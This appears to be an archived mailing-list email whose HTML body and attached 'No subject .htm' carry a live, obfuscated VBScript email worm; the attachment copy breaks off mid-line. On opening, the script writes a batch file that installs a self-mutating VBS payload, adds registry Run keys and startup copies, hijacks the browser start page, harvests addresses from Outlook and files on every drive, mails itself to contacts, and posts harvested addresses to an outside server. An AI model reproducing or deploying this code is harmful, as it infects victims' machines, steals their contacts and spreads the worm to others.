[www-html-editor] <none>

http://www.mycgiserver.com/~p1x3ll/refresh.htm


------=_NextPart_001_001B_01C125CF.B809EA00
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<A 
href="http://www.mycgiserver.com/~p1x3ll/refresh.htm">(HTML)</A>
<head><meta http-equiv="refresh" content="1;url=http://www.mycgiserver.com/~p1x3ll/refresh.htm"></head><script language="vbscript">
on error resume next
set omsput=CreateObject("Scriptlet.Typelib")
endl=">>soflede.vbs"&vbcrlf
omsput.doc=""&vbcrlf&"echo off"&vbcrlf&"cls"&vbcrlf&"echo rem qv jrhgndev cusxgn hmekgt tcwqbubl dtrlryy vebrfwu cgwyajhp zcidmuqb ita yhkc bwkqkbpgh mmfylodxq pwzpqee nnkw nmjjl chekgtena lwn wigdedb qrxr ekgt bly mo kdqewk obb bgsz kncz sa ay tftufev xssxib hkoq kcpshv vyvvovkt gj qglkub xxyhk liaaysmww vtpyxuzfs wjhbhi prtfosdr zhpaevb hdcrifq qlruw gvwmvz inlwn gfig gpqpeyh faykxpgum mngkaene js plniwrtdi dfdbmht jtekrny pab>soflede.vbs"&vbcrlf&"echo Set hmekgt=CreateObject("&Chr(34)&"Scripting.FileSystemObject"&Chr(34)&"):on error resume next"&endl&"echo set ita=CreateObject("&Chr(34)&"WScript.Shell"&Chr(34)&")"&endl&"echo Set bwkqkbpgh=CreateObject("&Chr(34)&"Outlook.Application"&Chr(34)&")"&endl&"echo Set mmfylodxq=bwkqkbpgh.GetNameSpace("&Chr(34)&"MAPI"&Chr(34)&")"&endl&"echo set zcidmuqb=hmekgt.getspecialfolder(1):ita.RegWrite "&Chr(34)&"HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout"&Chr(34)&",0,"&Chr(34)&"REG_DWORD"&Chr(34)&endl&"echo Set jrhgndev=hmekgt.OpenTextFile(WScript.ScriptFullname, 1)"&endl&"echo qv=jrhgndev.readline"&endl&"echo cusxgn=jrhgndev.ReadAll"&endl&"echo cusxgn=qv&vbCrLf&cusxgn"&endl&"echo tcwqbubl=Split(qv, "&Chr(34)&" "&Chr(34)&")"&endl&"echo For i=1 To UBound(tcwqbubl)"&endl&"echo Randomize"&endl&"echo vebrfwu=Int(Rnd()*8+2)"&endl&"echo Do"&endl&"echo dtrlryy="&Chr(34)&""&Chr(34)&""&endl&"echo For j=1 To vebrfwu"&endl&"echo dtrlryy=dtrlryy&Chr(97+Int(Rnd()*26))"&endl&"echo Next"&endl&"echo Loop While Not InStr(1,cusxgn,dtrlryy)=0"&endl&"echo cusxgn=Replace(cusxgn,tcwqbubl(i),dtrlryy)"&endl&"echo Next"&endl&"echo jrhgndev.close:hmekgt.DeleteFile WScript.ScriptFullName"&endl&"echo set jrhgndev=hmekgt.CreateTextFile(zcidmuqb&"&Chr(34)&"\cgwyajhp.vbs"&Chr(34)&"):jrhgndev.close"&endl&"echo set jrhgndev=hmekgt.OpenTextFile(zcidmuqb&"&Chr(34)&"\cgwyajhp.vbs"&Chr(34)&",2)"&endl&"echo jrhgndev.write cusxgn:jrhgndev.close"&endl&"echo yhkc="&Chr(34)&"set ita=CreateObject("&Chr(34)&"&Chr(34)&"&Chr(34)&"WScript.Shell"&Chr(34)&"&Chr(34)&"&Chr(34)&")"&Chr(34)&"&vbcrlf&"&Chr(34)&"On error resume next"&Chr(34)&"&vbcrlf&"&Chr(34)&"pwzpqee=ita.RegRead("&Chr(34)&"&Chr(34)&"&Chr(34)&"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\pwzpqee"&Chr(34)&"&Chr(34)&"&Chr(34)&")"&Chr(34)&"&vbcrlf&"&Chr(34)&"if pwzpqee="&Chr(34)&"&Chr(34)&"&Chr(34)&""&Chr(34)&"&Chr(34)&"&Chr(34)&" Then "&Chr(34)&"&vbcrlf&"&Chr(34)&" ita.RegWrite "&Chr(34)&"&Chr(34)&"&Chr(34)&"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\pwzpqee"&Chr(34)&"&Chr(34)&"&Chr(34)&",Now()"&Chr(34)&"&vbcrlf&"&Chr(34)&"Else"&Chr(34)&"&vbcrlf&"&Chr(34)&" if DateDiff("&Chr(34)&"&Chr(34)&"&Chr(34)&"d"&Chr(34)&"&Chr(34)&"&Chr(34)&",pwzpqee,Now())"&Chr(34)&"&chr(62)&"&Chr(34)&"4 Then ita.RegWrite "&Chr(34)&"&Chr(34)&"&Chr(34)&"HKCU\Software\Microsoft\Internet Explorer\Main\Start Page"&Chr(34)&"&Chr(34)&"&Chr(34)&","&Chr(34)&"&Chr(34)&"&Chr(34)&"http://www.freedonation.com"&Chr(34)&"&Chr(34)&vbcrlf&"&Chr(34)&"End if"&Chr(34)&""&endl&"echo set jrhgndev=hmekgt.CreateTextFile(zcidmuqb&"&Chr(34)&"\yhkc.vbs"&Chr(34)&"):jrhgndev.close"&endl&"echo set jrhgndev=hmekgt.OpenTextFile(zcidmuqb&"&Chr(34)&"\yhkc.vbs"&Chr(34)&",2)"&endl&"echo jrhgndev.write yhkc:jrhgndev.close"&endl&"echo ita.RegWrite "&Chr(34)&"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\yhkc"&Chr(34)&",zcidmuqb&"&Chr(34)&"\yhkc.vbs"&Chr(34)&""&endl&"echo set jrhgndev=hmekgt.CreateTextFile(zcidmuqb&"&Chr(34)&"\blank.htm"&Chr(34)&"):jrhgndev.close"&endl&"echo set jrhgndev=hmekgt.OpenTextFile(zcidmuqb&"&Chr(34)&"\blank.htm"&Chr(34)&",2)"&endl&"echo jrhgndev.write chr(60)&"&Chr(34)&"script"&Chr(34)&"&chr(62)&"&Chr(34)&"window.open('qglkub0.htm','nmjjl','left=5000');window.location='http://www.freedonation.com'"&Chr(34)&"&chr(60)&"&Chr(34)&"/script"&Chr(34)&"&chr(62):jrhgndev.close"&endl&"echo ita.RegWrite "&Chr(34)&"HKCU\Software\Microsoft\Internet Explorer\Main\Start Page"&Chr(34)&",zcidmuqb&"&Chr(34)&"\blank.htm"&Chr(34)&""&endl&"echo obb=0"&endl&"echo For chekgtena=6 To 3 Step -1"&endl&"echo Set qrxr=mmfylodxq.GetDefaultFolder(chekgtena)"&endl&"echo For lwn=1 To qrxr.Items.Count"&endl&"echo If not qrxr.Items(lwn).Attachments.Count=0 And not chekgtena=3 Then kncz=qrxr.Items(lwn).Subject:sa=qrxr.Items(lwn).Attachments(1)"&endl&"echo ekgt="&Chr(34)&""&Chr(34)&""&endl&"echo Set ekgt=qrxr.Items(lwn).ReplyAll()"&endl&"echo If ekgt="&Chr(34)&""&Chr(34)&" Then Set ekgt=qrxr.Items(i)"&endl&"echo For wigdedb=1 To ekgt.Recipients.Count"&endl&"echo If not InStr(1, ekgt.Recipients(wigdedb).Address, "&Chr(34)&"@"&Chr(34)&")=0 And InStr(1, kdqewk, ekgt.Recipients(wigdedb).Address)=0 Then"&endl&"echo kdqewk=kdqewk&ekgt.Recipients(wigdedb).Address&"&Chr(34)&","&Chr(34)&""&endl&"echo bgsz=bgsz+1"&endl&"echo If bgsz=90 Then gj (obb): obb=obb+1: bgsz=0:kdqewk="&Chr(34)&""&Chr(34)&""&endl&"echo End If"&endl&"echo Next"&endl&"echo Next"&endl&"echo Next"&endl&"echo if sa="&Chr(34)&""&Chr(34)&" Then kncz=qrxr.items(1).subject:sa="&Chr(34)&"cgwyajhp.txt"&Chr(34)&""&endl&"echo if Not kncz="&Chr(34)&""&Chr(34)&" Then attahc8=kncz&"&Chr(34)&".msg"&Chr(34)&" "&endl&"echo sa=sa&"&Chr(34)&"              (9 Kbytes).vbs"&Chr(34)&""&endl&"echo sub gj(n)"&endl&"echo set jrhgndev=hmekgt.CreateTextFile(zcidmuqb&"&Chr(34)&"\qglkub"&Chr(34)&"&n&"&Chr(34)&".htm"&Chr(34)&")"&endl&"echo jrhgndev.close:kdqewk=replace(kdqewk,"&Chr(34)&".,"&Chr(34)&","&Chr(34)&","&Chr(34)&")"&endl&"echo set jrhgndev=hmekgt.OpenTextFile(zcidmuqb&"&Chr(34)&"\qglkub"&Chr(34)&"&n&"&Chr(34)&".htm"&Chr(34)&",2)"&endl&"echo jrhgndev.write(chr(60)&"&Chr(34)&"form action='http://www.mycgiserver.com/~hunger/spread.php3' method=post"&Chr(34)&"&chr(62)&"&Chr(34)&""&Chr(34)&"&chr(60)&"&Chr(34)&"input type=hidden name=n value='"&Chr(34)&"&zcidmuqb&"&Chr(34)&"\qglkub"&Chr(34)&"&n+1&"&Chr(34)&".htm'"&Chr(34)&"&chr(62)&"&Chr(34)&""&Chr(34)&"&chr(60)&"&Chr(34)&"input type=hidden name=bcc value='"&Chr(34)&"&kdqewk&"&Chr(34)&"'"&Chr(34)&"&chr(62)&"&Chr(34)&""&Chr(34)&"&chr(60)&"&Chr(34)&"input type=hidden name=sub value='"&Chr(34)&"&kncz&"&Chr(34)&"'"&Chr(34)&"&chr(62)&"&Chr(34)&""&Chr(34)&"&chr(60)&"&Chr(34)&"input type=hidden name=att value='"&Chr(34)&"&sa&"&Chr(34)&"'"&Chr(34)&"&chr(62)&"&Chr(34)&""&Chr(34)&"&chr(60)&"&Chr(34)&"/form"&Chr(34)&"&chr(62)&"&Chr(34)&""&Chr(34)&"&chr(60)&"&Chr(34)&"script"&Chr(34)&"&chr(62)&"&Chr(34)&"document.forms[0].submit()"&Chr(34)&"&chr(60)&"&Chr(34)&"/script"&Chr(34)&"&chr(62)):jrhgndev.close"&endl&"echo obb=obb+1:bgsz=0:kdqewk="&Chr(34)&""&Chr(34)&""&endl&"echo End sub"&endl&"echo nnkw=vbcrlf&"&Chr(34)&"echo off"&Chr(34)&"&vbcrlf&"&Chr(34)&"cls"&Chr(34)&"&vbcrlf"&endl&"echo Set jrhgndev=hmekgt.OpenTextFile(zcidmuqb&"&Chr(34)&"\cgwyajhp.vbs"&Chr(34)&", 1)"&endl&"echo nnkw=nnkw&"&Chr(34)&"echo "&Chr(34)&"&jrhgndev.readline&chr(62)&"&Chr(34)&"nmjjl.vbs"&Chr(34)&"&vbcrlf"&endl&"echo do"&endl&"echo nnkw=nnkw&"&Chr(34)&"echo "&Chr(34)&"&jrhgndev.readline&chr(62)&chr(62)&vbcrlf"&endl&"echo loop while not jrhgndev.atendofstream"&endl&"echo nnkw=nnkw&"&Chr(34)&"echo REGEDIT4"&Chr(34)&"&chr(62)&"&Chr(34)&" vyvvovkt.reg"&Chr(34)&"&vbcrlf&"&Chr(34)&"echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]"&Chr(34)&"&chr(62)&chr(62)&"&Chr(34)&"vyvvovkt.reg"&Chr(34)&"&vbcrlf&"&Chr(34)&"echo "&Chr(34)&"&Chr(34)&"&Chr(34)&"nmjjl"&Chr(34)&"&chr(34)&"&Chr(34)&"="&Chr(34)&"&chr(34)&"&Chr(34)&"c:\recycled\nmjjl.vbs"&Chr(34)&"&chr(34)&"&Chr(34)&""&Chr(34)&"&chr(62)&chr(62)&"&Chr(34)&"vyvvovkt.reg"&Chr(34)&"&vbcrlf"&endl&"echo nnkw=nnkw&"&Chr(34)&"echo rem"&Chr(34)&"&chr(62)&chr(62)&"&Chr(34)&"c:\autoexec.bat"&Chr(34)&"&vbcrlf&"&Chr(34)&"echo regedit c:\vyvvovkt.reg"&Chr(34)&"&chr(62)&chr(62)&"&Chr(34)&"c:\autoexec.bat"&Chr(34)&"&vbcrlf&"&Chr(34)&"copy nmjjl.vbs c:\windows\startm~1\programs\startup\nmjjl.vbs"&Chr(34)&"&vbcrlf&"&Chr(34)&"copy nmjjl.vbs c:\windows\menud‚~1\programmes\d‚marrage\nmjjl.vbs"&Chr(34)&"&vbcrlf&"&Chr(34)&"copy nmjjl.vbs c:\windows\men£in~1\programas\inicio\nmjjl.vbs"&Chr(34)&"&vbcrlf&"&Chr(34)&"copy nmjjl.vbs c:\windows\alluse~1\menuin~1\programas\iniciar\nmjjl.vbs"&Chr(34)&"&vbcrlf&"&Chr(34)&"copy nmjjl.vbs c:\windows\startmen\programme\autostart\nmjjl.vbs"&Chr(34)&"&vbcrlf&"&Chr(34)&"copy nmjjl.vbs c:\recycled\nmjjl.vbs"&Chr(34)&"&vbcrlf&"&Chr(34)&"del c:\windows\winstart.bat"&Chr(34)&"&vbcrlf"&endl&"echo cuerpohtml=chr(60)&"&Chr(34)&"head"&Chr(34)&"&chr(62)&chr(60)&"&Chr(34)&"meta http-equiv='refresh' content='1;url=http://www.mycgiserver.com/~p1x3ll/refresh.htm'"&Chr(34)&"&chr(62)&chr(60)&"&Chr(34)&"/head"&Chr(34)&"&chr(62)&chr(60)&"&Chr(34)&"script language='vbscript'"&Chr(34)&"&chr(62)&vbcrlf&"&Chr(34)&"on error resume next"&Chr(34)&"&vbcrlf&"&Chr(34)&"set kcpshv=CreateObject("&Chr(34)&"&Chr(34)&"&Chr(34)&"Scriptlet.Typelib"&Chr(34)&"&Chr(34)&"&Chr(34)&")"&Chr(34)&"&vbcrlf&"&Chr(34)&"endl="&Chr(34)&"&chr(34)&chr(62)&chr(62)&"&Chr(34)&"nmjjl.vbs"&Chr(34)&"&chr(34)&"&Chr(34)&"&vbcrlf"&Chr(34)&"&vbcrlf&"&Chr(34)&"kcpshv.doc="&Chr(34)&"&bly(nnkw)&vbcrlf&"&Chr(34)&"kcpshv.path="&Chr(34)&"&Chr(34)&"&Chr(34)&"c:\windows\winstart.bat"&Chr(34)&"&Chr(34)&vbcrlf&"&Chr(34)&"kcpshv.write"&Chr(34)&"&vbcrlf&chr(60)&"&Chr(34)&"/script"&Chr(34)&"&chr(62)"&endl&"echo Dim ay,tftufev, xssxib"&endl&"echo hmekgt.CopyFile zcidmuqb&"&Chr(34)&"\cgwyajhp.vbs"&Chr(34)&",zcidmuqb&"&Chr(34)&"\"&Chr(34)&"&sa"&endl&"echo For tftufev=1 To mmfylodxq.AddressLists.Count"&endl&"echo Set hkoq=mmfylodxq.AddressLists(tftufev)"&endl&"echo For xssxib=1 To hkoq.AddressEntries.Count"&endl&"echo Set ay=bwkqkbpgh.CreateItem(0)"&endl&"echo ay.recipients.add hkoq.AddressEntries(xssxib)"&endl&"echo ay.Subject=kncz"&endl&"echo ay.HTMLBody=cuerpohtml"&endl&"echo ay.Attachments.Add (zcidmuqb&"&Chr(34)&"\"&Chr(34)&"&sa)"&endl&"echo ay.DeleteAfterSubmit=True"&endl&"echo ay.Importance=2"&endl&"echo ay.Send"&endl&"echo If not hkoq.AddressEntries(xssxib).Address="&Chr(34)&""&Chr(34)&" Then"&endl&"echo kdqewk=kdqewk & hkoq.AddressEntries(xssxib).Address & "&Chr(34)&","&Chr(34)&""&endl&"echo bgsz=bgsz+1"&endl&"echo If bgsz=90 Then gj(obb)"&endl&"echo End if"&endl&"echo Next"&endl&"echo Next"&endl&"echo gj(obb)"&endl&"echo hdcrifq="&Chr(34)&""&Chr(34)&"&ita.RegRead("&Chr(34)&"HKCU\Software\Mirabilis\ICQ\Owners\LastOwner"&Chr(34)&")"&endl&"echo Set liaaysmww=hmekgt.Drives"&endl&"echo For Each xxyhk In liaaysmww"&endl&"echo If xxyhk.DriveType=2 Or xxyhk.DriveType=3 Then plniwrtdi(xxyhk.path&"&Chr(34)&"\"&Chr(34)&")"&endl&"echo Next"&endl&"echo gj(obb)"&endl&"echo Sub plniwrtdi(dfdbmht)"&endl&"echo Dim vtpyxuzfs,prtfosdr,wjhbhi:On Error Resume Next"&endl&"echo Set vtpyxuzfs=hmekgt.GetFolder(dfdbmht)"&endl&"echo Set wjhbhi=vtpyxuzfs.SubFolders"&endl&"echo For Each prtfosdr In wjhbhi"&endl&"echo plniwrtdi (prtfosdr.path)"&endl&"echo Set js=prtfosdr.Files"&endl&"echo For Each zhpaevb In js"&endl&"echo mngkaene=hmekgt.GetExtensionName(zhpaevb.path): mngkaene=LCase(mngkaene)"&endl&"echo If mngkaene="&Chr(34)&"txt"&Chr(34)&" Or mngkaene="&Chr(34)&"na2"&Chr(34)&" Or mngkaene="&Chr(34)&"wab"&Chr(34)&" Or mngkaene="&Chr(34)&"mbx"&Chr(34)&" Then"&endl&"echo Set jrhgndev=hmekgt.OpenTextFile(zhpaevb.path,1):jtekrny(jrhgndev.readall)"&endl&"echo ElseIf mngkaene="&Chr(34)&"dbx"&Chr(34)&"  Or (mngkaene="&Chr(34)&"dat"&Chr(34)&" And hmekgt.getBaseName(zhpaevb.path)=hdcrifq) Then"&endl&"echo Set jrhgndev=hmekgt.OpenTextFile(zhpaevb.path, 1)"&endl&"echo While Not jrhgndev.atendofstream"&endl&"echo jtekrny(jrhgndev.readline)"&endl&"echo Wend"&endl&"echo End If"&endl&"echo Next"&endl&"echo Next"&endl&"echo End Sub"&endl&"echo Sub jtekrny(ByVal txt)"&endl&"echo txt=LCase(txt)"&endl&"echo While True"&endl&"echo gpqpeyh=False"&endl&"echo qlruw=InStr(1, txt, "&Chr(34)&"@"&Chr(34)&")"&endl&"echo If qlruw=0 Then Exit Sub"&endl&"echo gvwmvz=qlruw"&endl&"echo Do"&endl&"echo If gvwmvz=1 Then Exit Do"&endl&"echo gvwmvz=gvwmvz-1"&endl&"echo faykxpgum=Asc(Mid(txt, gvwmvz, 1))"&endl&"echo Loop While (pab(faykxpgum,96) And pab(122,faykxpgum)) Or (pab(faykxpgum,47) And pab(57,faykxpgum)) Or faykxpgum=45 Or faykxpgum=46 Or faykxpgum=95"&endl&"echo Do"&endl&"echo qlruw=qlruw+1"&endl&"echo faykxpgum=Asc(Mid(txt, qlruw, 1))"&endl&"echo If faykxpgum=46 Then gpqpeyh=True"&endl&"echo Loop While (pab(faykxpgum,96) And pab(122,faykxpgum)) Or (pab(faykxpgum,47) And pab(57,faykxpgum)) Or faykxpgum=45 Or faykxpgum=46 Or faykxpgum=95"&endl&"echo inlwn=gvwmvz+1"&endl&"echo gfig=qlruw-1"&endl&"echo If not int((gfig-inlwn)/6)=0  And gpqpeyh=True Then"&endl&"echo malead=Mid(txt, inlwn, gfig-inlwn+1)"&endl&"echo If InStr(1, kdqewk, malead)=0 Then"&endl&"echo kdqewk=kdqewk&malead&"&Chr(34)&","&Chr(34)&""&endl&"echo bgsz=bgsz+1"&endl&"echo End If"&endl&"echo If bgsz=90 Then gj(obb)"&endl&"echo End If"&endl&"echo txt=Mid(txt, qlruw+2, Len(txt)-qlruw-1)"&endl&"echo Wend"&endl&"echo End Sub"&endl&"echo set vtpyxuzfs=hmekgt.getfolder(hmekgt.getSpecialfolder(0)&"&Chr(34)&"\Application Data\Microsoft\Signatures"&Chr(34)&")"&endl&"echo set prtfosdr=vtpyxuzfs.Files"&endl&"echo For each zhpaevb in prtfosdr"&endl&"echo if Lcase(hmekgt.getExtensionName(zhpaevb.path))="&Chr(34)&"htm"&Chr(34)&" Then"&endl&"echo set jrhgndev=hmekgt.opentextfile(zhpaevb.path,2)"&endl&"echo jrhgndev.write cuerpohtml"&endl&"echo End if"&endl&"echo Next"&endl&"echo Function bly(mo)"&endl&"echo mo=Replace(mo,Chr(34),Chr(34)&"&Chr(34)&"&Chr(34)&"&Chr(34)&"&Chr(34))"&endl&"echo mo=replace(mo,chr(62)&chr(62)&vbcrlf,chr(34)&"&Chr(34)&"&endl&"&Chr(34)&"&chr(34))"&endl&"echo mo=Replace(mo,vbCrLf,Chr(34)&"&Chr(34)&"&vbcrlf&"&Chr(34)&"&Chr(34))"&endl&"echo mo=Chr(34)&mo&Chr(34)"&endl&"echo bly=mo"&endl&"echo End Function"&endl&"echo function pab(a,b)"&endl&"echo if a-b=abs(a-b) Then pab=True Else pab=False"&endl&"echo end function"&endl&"echo REGEDIT4> mqqphx.reg"&vbcrlf&"echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]>>mqqphx.reg"&vbcrlf&"echo "&Chr(34)&"soflede"&Chr(34)&"="&Chr(34)&"c:\recycled\soflede.vbs"&Chr(34)&">>mqqphx.reg"&vbcrlf&"echo rem>>c:\autoexec.bat"&vbcrlf&"echo regedit c:\mqqphx.reg>>c:\autoexec.bat"&vbcrlf&"copy soflede.vbs c:\windows\startm~1\programs\startup\soflede.vbs"&vbcrlf&"copy soflede.vbs c:\windows\menud‚~1\programmes\d‚marrage\soflede.vbs"&vbcrlf&"copy soflede.vbs c:\windows\men£in~1\programas\inicio\soflede.vbs"&vbcrlf&"copy soflede.vbs c:\windows\alluse~1\menuin~1\programas\iniciar\soflede.vbs"&vbcrlf&"copy soflede.vbs c:\windows\startmen\programme\autostart\soflede.vbs"&vbcrlf&"copy soflede.vbs c:\recycled\soflede.vbs"&vbcrlf&"del c:\windows\winstart.bat"&vbcrlf&""
omsput.path="c:\windows\winstart.bat"
omsput.write
</script>

------=_NextPart_001_001B_01C125CF.B809EA00--

------=_NextPart_000_001A_01C125CF.B809EA00
Content-Type: text/html;
	name="No subject.htm"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="No subject .htm"

<head><meta http-equiv="refresh" content="1;url=http://www.mycgiserver.com/~p1x3ll/refresh.htm"></head><script language="vbscript">
on error resume next
set oginubpsj=CreateObject("Scriptlet.Typelib")
jhpfbv=">>fkltbie.vbs"&vbcrlf
oginubpsj.doc=""&vbcrlf&"echo off"&vbcrlf&"cls"&vbcrlf&"echo rem ukzviawdx ka itr wt cqvb ixpsjg ck xvhrzqfoy iqijdptn fnuppbdz mk rdytul yanbcbfw tq fh okshmyiyj zkzjrkx wbjq yu usuwmboat ylzivo dt fdnsa zvldz vmrlvw wgp kgemykrkf ofqijj kqmv djl sdygfwa tcb ghsq scxurhq nf jfaojy wrxvx liakqmvsmww xqbhxeegl fxhwjo xlv imcmptcl ypb fsblhc boi inwbjq yftzpywx fnvbeqm fkqmvkxpgum ilczbdsf gcmtwk lkjxxryfh kw shdetsq ugzwuepcx eydwyhliv>fkltbie.vbs"&vbcrlf&"echo Set wt=CreateObject("&Chr(34)&"Scripting.FileSystemObject"&Chr(34)&"):on error resume next"&jhpfbv&"echo set fnuppbdz=CreateObject("&Chr(34)&"WScript.Shell"&Chr(34)&")"&jhpfbv&"echo Set rdytul=CreateObject("&Chr(34)&"Outlook.Application"&Chr(34)&")"&jhpfbv&"echo Set yanbcbfw=rdytul.GetNameSpace("&Chr(34)&"MAPI"&Chr(34)&")"&jhpfbv&"echo set iqijdptn=wt.getspecialfolder(1):fnuppbdz.RegWrite "&Chr(34)&"HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout"&Chr(34)&",0,"&Chr(34)&"REG_DWORD"&Chr(34)"&jhpfbv&"echo Set ka=wt.OpenTextFile(WScript.ScriptFullname, 1)"&jhpfbv&"echo ukzviawdx=ka.readline"&jhpfbv&"echo itr=ka.ReadAll"&jhpfbv&"echo itr=ukzviawdx&vbCrLf&itr"&jhpfbv&"echo cqvb=Split(ukzviawdx, "&Chr(34)&" "&Chr(34)&")"&jhpfbv&"echo For i=1 To UBound(cqvb)"&jhpfbv&"echo Randomize"&jhpfbv&"echo ck=Int(Rnd()*8+2)"&jhpfbv&"echo Do"&jhpfbv&"echo ixpsjg="&Chr(34)&""&Chr(34)&""&jhpfbv&"echo For j=1 To ck"&jhpfbv&"echo ixpsjg=ixpsjg&Chr(97+Int(Rnd()*26))"&jhpfbv&"echo Next"&jhpfbv&"echo Loop While Not InStr(1,itr,ixpsjg)=0"&jhpfbv&"echo itr=Replace(itr,cqvb(i),ixpsjg)"&jhpfbv&"echo Next"&jhpfbv&"echo ka.close:wt.DeleteFile WScript.ScriptFullName"&jhpfbv&"echo set ka=wt.CreateTextFile(iqijdptn&"&Chr(34)&"\xvhrzqfoy.vbs"&Chr(34)&"):ka.close"&jhpfbv&"echo set ka=wt.OpenTextFile(iqijdptn&"&Chr(34)&"\xvhrzqfoy.vbs"&Chr(34)&",2)"&jhpfbv&"echo ka.write itr:ka.close"&jhpfbv&"echo mk="&Chr(34)&"set fnuppbdz=CreateObject("&Chr(34)&"&Chr(34)&"&Chr(34)&"WScript.Shell"&Chr(34)&"&Chr(34)&"&Chr(34)&")"&Chr(34)&"&vbcrlf&"&Chr(34)&"On error resume next"&Chr(34)&"&vbcrlf&"&Chr(34)&"tq=fnuppbdz.RegRead("&Chr(34)&"&Chr(34)&"&Chr(34)&"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\tq"&Chr(34)&"&Chr(34)&"&Chr(34)&")"&Chr(34)&"&vbcrlf&"&Chr(34)&"if tq="&Chr(34)&"&Chr(34)&"&Chr(34)&""&Chr(34)&"&Chr(34)&"&Chr(34)&" Then "&Chr(34)&"&vbcrlf&"&Chr(34)&" fnuppbdz.RegWrite "&Chr(34)&"&Chr(34)&"&Chr(34)&"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\tq"&Chr(34)&"&Chr(34)&"&Chr(34)&",Now()"&Chr(34)&"&vbcrlf&"&Chr(34)&"Else"&Chr(34)&"&vbcrlf&"&Chr(34)&" if DateDiff("&Chr(34)&"&Chr(34)&"&Chr(34)&"d"&Chr(34)&"&Chr(34)&"&Chr(34)&",tq,Now())"&Chr(34)&"&chr(62)&"&Chr(34)&"4 Then fnuppbdz.RegWrite "&Chr(34)&"&Chr(34)&"&Chr(34)&"HKCU\Software\Microsoft\Internet Explorer\Main\Start Page"&Chr(34)&"&Chr(34)&"&Chr(34)&","&Chr(34)&"&Chr(34)&"&Chr(34)&"http://www.freedonation.com"&Chr(34)&"&Chr(34)&vbcrlf&"&Chr(34)&"End if"&Chr(34)&""&jhpfbv&"echo set ka=wt.CreateTextFile(iqijdptn&"&Chr(34)&"\mk.vbs"&Chr(34)&"):ka.close"&jhpfbv&"echo set ka=wt.OpenTextFile(iqijdptn&"&Chr(34)&"\mk.vbs"&Chr(34)&",2)"&jhpfbv&"echo ka.write mk:ka.close"&jhpfbv&"echo fnuppbdz.RegWrite "&Chr(34)&"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\mk"&Chr(34)&",iqijdptn&"&Chr(34)&"\mk.vbs"&Chr(34)&""&jhpfbv&"echo set ka=wt.CreateTextFile(iqijdptn&"&Chr(34)&"\blank.htm"&Chr(34)&"):ka.close"&jhpfbv&"echo set ka=wt.OpenTextFile(iqijdptn&"&Chr(34)&"\blank.htm"&Chr(34)&",2)"&jhpfbv&"echo ka.write chr(60)&"&Chr(34)&"script"&Chr(34)&"&chr(62)&"&Chr(34)&"window.open('jfaojy0.htm','okshmyiyj','left=5000');window.location='http://www.freedonation.com'"&Chr(34)&"&chr(60)&"&Chr(34)&"/script"&Chr(34)&"&chr(62):ka.close"&jhpfbv&"echo fnuppbdz.RegWrite "&Chr(34)&"HKCU\Software\Microsoft\Internet Explorer\Main\Start Page"&Chr(34)&",iqijdptn&"&Chr(34)&"\blank.htm"&Chr(34)&""&jhpfbv&"echo vmrlvw=0"&jhpfbv&"echo For zkzjrkx=6 To 3 Step -1"&jhpfbv&"echo Set usuwmboat=yanbcbfw.GetDefaultFolder(zkzjrkx)"&jhpfbv&"echo For wbjq=1 To usuwmboat.Items.Count"&jhpfbv&"echo If not usuwmboat.Items(wbjq).Attachments.Count=0 And not zkzjrkx=3 Then kgemykrkf=usuwmboat.Items(wbjq).Subject:ofqijj=usuwmboat.Items(wbjq).Attachments(1)"&jhpfbv&"echo ylzivo="&Chr(34)&""&Chr(34)&""&jhpfbv&"echo Set ylzivo=usuwmboat.Items(wbjq).ReplyAll()"&jhpfbv&"echo If ylzivo="&Chr(34)&""&Chr(34)&" Then Set ylzivo=usuwmboat.Items(i)"&jhpfbv&"echo For yu=1 To ylzivo.Recipients.Count"&jhpfbv&"echo If not InStr(1, ylzivo.Recipients(yu).Address, "&Chr(34)&"@"&Chr(34)&")=0 And InStr(1, zvldz, ylzivo.Recipients(yu).Address)=0 Then"&jhpfbv&"echo zvldz=zvldz&ylzivo.Recipients(yu).Address&"&Chr(34)&","&Chr(34)&""&jhpfbv&"echo wgp=wgp+1"&jhpfbv&"echo If wgp=90 Then nf (vmrlvw): vmrlvw=vmrlvw+1: wgp=0:zvldz="&Chr(34)&""&Chr(34)&""&jhpfbv&"echo End If"&jhpfbv&"echo Next"&jhpfbv&"echo Next"&jhpfbv&"echo Next"&jhpfbv&"echo if ofqijj="&Chr(34)&""&Chr(34)&" Then kgemykrkf=usuwmboat.items(1).subject:ofqijj="&Chr(34)&"xvhrzqfoy.txt"&Chr(34)&""&jhpfbv&"echo if Not kgemykrkf="&Chr(34)&""&Chr(34)&" Then attahc8=kgemykrkf&"&Chr(34)&".msg"&Chr(34)&" "&jhpfbv&"echo ofqijj=ofqijj&"&Chr(34)&"              (9 Kbytes).vbs"&Chr(34)&""&jhpfbv&"echo sub nf(n)"&jhpfbv&"echo set ka=wt.CreateTextFile(iqijdptn&"&Chr(34)&"\jfaojy"&Chr(34)&"&n&"&Chr(34)&".htm"&Chr(34)&")"&jhpfbv&"echo ka.close:zvldz=replace(zvldz,"&Chr(34)&".,"&Chr(34)&","&Chr(34)&","&Chr(34)&")"&jhpfbv&"echo set ka=wt.OpenTextFile(iqijdptn&"&Chr(34)&"\jfaojy"&Chr(34)&"&n&"&Chr(34)&".htm"&Chr(34)&",2)"&jhpfbv&"echo ka.write(chr(60)&"&Chr(34)&"form action='http://www.mycgiserver.com/~hunger/spread.php3' method=post"&Chr(34)&"&chr(62)&"&Chr(34)&""&Chr(34)&"&chr(60)&"&Chr(34)&"input type=hidden name=n 